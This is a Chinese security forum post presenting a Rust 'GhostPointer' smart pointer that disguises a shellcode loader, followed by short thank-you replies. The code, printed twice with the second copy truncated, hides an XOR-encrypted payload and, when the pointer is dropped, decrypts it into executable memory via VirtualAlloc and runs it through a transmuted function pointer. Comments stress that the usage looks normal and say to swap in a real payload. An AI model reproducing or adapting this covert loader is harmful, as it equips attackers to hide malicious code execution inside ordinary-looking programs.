首页
社区
课程
招聘
[原创]Rust核心特性所有权劫持注入
发表于: 2025-4-16 10:33 2247

[原创]Rust核心特性所有权劫持注入

2025-4-16 10:33
2247

智能指针伪装

加密载荷存储

所有权劫持机制

内存操作技巧

隐蔽执行流程

动态密钥生成

内存混淆技术

反调试检测

行为监控

内存分析

类型系统防护

use std::ops::{Deref, DerefMut};
use std::ptr;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
 
// 加密的 Shellcode 示例(实际使用需替换为有效载荷)
const ENCRYPTED_PAYLOAD: [u8; 12] = [
    0xDE, 0xAD, 0xBE, 0xEF, // 幻数头
    0x78, 0x56, 0x34, 0x12, // 加密载荷
    0x90, 0x90, 0x90, 0x90, // NOP 雪橇
];
 
struct GhostPointer<T> {
    data: *mut T,
    key: u8,            // 解密密钥
    payload: Vec<u8>,   // 加密的载荷
    executed: bool,     // 确保只执行一次
}
 
impl<T> GhostPointer<T> {
    /// 创建新的智能指针(表面是普通内存分配)
    pub fn new(value: T) -> Self {
        // 分配内存(使用系统API绕过Rust内存管理)
        let ptr = unsafe {
            VirtualAlloc(
                ptr::null_mut(),
                std::mem::size_of::<T>(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE,
            ) as *mut T
        };
 
        // 写入数据
        unsafe { ptr.write(value) };
 
        // 初始化时解密载荷(示例使用简单异或加密)
        let mut payload = ENCRYPTED_PAYLOAD.to_vec();
        let key = 0xA5; // 示例密钥
        for byte in &mut payload {
            *byte ^= key;
        }
 
        Self {
            data: ptr,
            key,
            payload,
            executed: false,
        }
    }
 
    /// 隐蔽的内存准备方法
    fn ghost_prepare(&mut self) {
        if self.executed {
            return;
        }
 
        unsafe {
            // 分配可执行内存
            let exec_region = VirtualAlloc(
                ptr::null_mut(),
                self.payload.len(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READ,
            );
 
            // 复制解密后的载荷
            ptr::copy_nonoverlapping(
                self.payload.as_ptr(),
                exec_region as *mut u8,
                self.payload.len(),
            );
 
            // 修改当前指针指向可执行区域
            self.data = exec_region as *mut T;
            self.executed = true;
        }
    }
}
 
impl<T> Deref for GhostPointer<T> {
    type Target = T;
 
    fn deref(&self) -> &T {
        unsafe { &*self.data }
    }
}
 
impl<T> DerefMut for GhostPointer<T> {
    fn deref_mut(&mut self) -> &mut T {
        unsafe { &mut *self.data }
    }
}
 
impl<T> Drop for GhostPointer<T> {
    fn drop(&mut self) {
        unsafe {
            // 触发隐蔽操作
            self.ghost_prepare();
 
            // 构造函数指针
            let func_ptr: fn() = std::mem::transmute(self.data);
             
            // 执行载荷(示例为简单调用)
            func_ptr();
 
            // 释放内存(实际使用可能需要持久化)
            VirtualFree(self.data as *mut _, 0, MEM_RELEASE);
        }
    }
}
 
// 使用示例
fn main() {
    // 表面上是普通指针使用
    let mut ghost = GhostPointer::new(42);
    println!("Normal usage: {}", *ghost); // 正常访问
     
    *ghost = 100; // 正常修改
     
    // 当 ghost 离开作用域时触发隐蔽操作
}
use std::ops::{Deref, DerefMut};
use std::ptr;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
 
// 加密的 Shellcode 示例(实际使用需替换为有效载荷)
const ENCRYPTED_PAYLOAD: [u8; 12] = [
    0xDE, 0xAD, 0xBE, 0xEF, // 幻数头
    0x78, 0x56, 0x34, 0x12, // 加密载荷
    0x90, 0x90, 0x90, 0x90, // NOP 雪橇
];
 
struct GhostPointer<T> {
    data: *mut T,
    key: u8,            // 解密密钥
    payload: Vec<u8>,   // 加密的载荷
    executed: bool,     // 确保只执行一次
}
 
impl<T> GhostPointer<T> {
    /// 创建新的智能指针(表面是普通内存分配)
    pub fn new(value: T) -> Self {
        // 分配内存(使用系统API绕过Rust内存管理)
        let ptr = unsafe {
            VirtualAlloc(
                ptr::null_mut(),
                std::mem::size_of::<T>(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE,
            ) as *mut T
        };
 
        // 写入数据
        unsafe { ptr.write(value) };
 
        // 初始化时解密载荷(示例使用简单异或加密)
        let mut payload = ENCRYPTED_PAYLOAD.to_vec();
        let key = 0xA5; // 示例密钥
        for byte in &mut payload {
            *byte ^= key;
        }
 
        Self {
            data: ptr,
            key,
            payload,
            executed: false,
        }
    }
 
    /// 隐蔽的内存准备方法
    fn ghost_prepare(&mut self) {
        if self.executed {
            return;
        }
 
        unsafe {
            // 分配可执行内存
            let exec_region = VirtualAlloc(
                ptr::null_mut(),
                self.payload.len(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READ,
            );
 
            // 复制解密后的载荷
            ptr::copy_nonoverlapping(
                self.payload.as_ptr(),
                exec_region as *mut u8,
                self.payload.len(),
            );
 
            // 修改当前指针指向可执行区域
            self.data = exec_region as *mut T;
            self.executed = true;
        }
    }
}
 
impl<T> Deref for GhostPointer<T> {
    type Target = T;
 
    fn deref(&self) -> &T {
        unsafe { &*self.data }
    }
}
 
impl<T> DerefMut for GhostPointer<T> {
    fn deref_mut(&mut self) -> &mut T {
        unsafe { &mut *self.data }
    }
}
 
impl<T> Drop for GhostPointer<T> {
    fn drop(&mut self) {
        unsafe {
            // 触发隐蔽操作
            self.ghost_prepare();
 
            // 构造函数指针
            let func_ptr: fn() = std::mem::transmute(self.data);
             
            // 执行载荷(示例为简单调用)
            func_ptr();
 
            // 释放内存(实际使用可能需要持久化)
            VirtualFree(self.data as *mut _, 0, MEM_RELEASE);
        }

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 13
支持
分享
最新回复 (8)
雪    币: 10
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2025-4-17 08:38
0
雪    币: 3346
活跃值: (4749)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2025-4-19 11:12
0
雪    币: 50
活跃值: (1135)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
4
11111111111
2025-5-3 15:13
0
雪    币: 20
活跃值: (112)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
感谢分享
2025-5-3 18:48
0
雪    币: 1129
活跃值: (536)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
omg 真的很强
2025-5-5 11:06
0
雪    币: 19
活跃值: (263)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
谢谢分享!
2025-5-5 11:50
0
雪    币: 63
活跃值: (161)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
谢谢你
5天前
0
雪    币: 5679
活跃值: (5231)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
谢谢分享!
4天前
0
游客
登录 | 注册 方可回帖
返回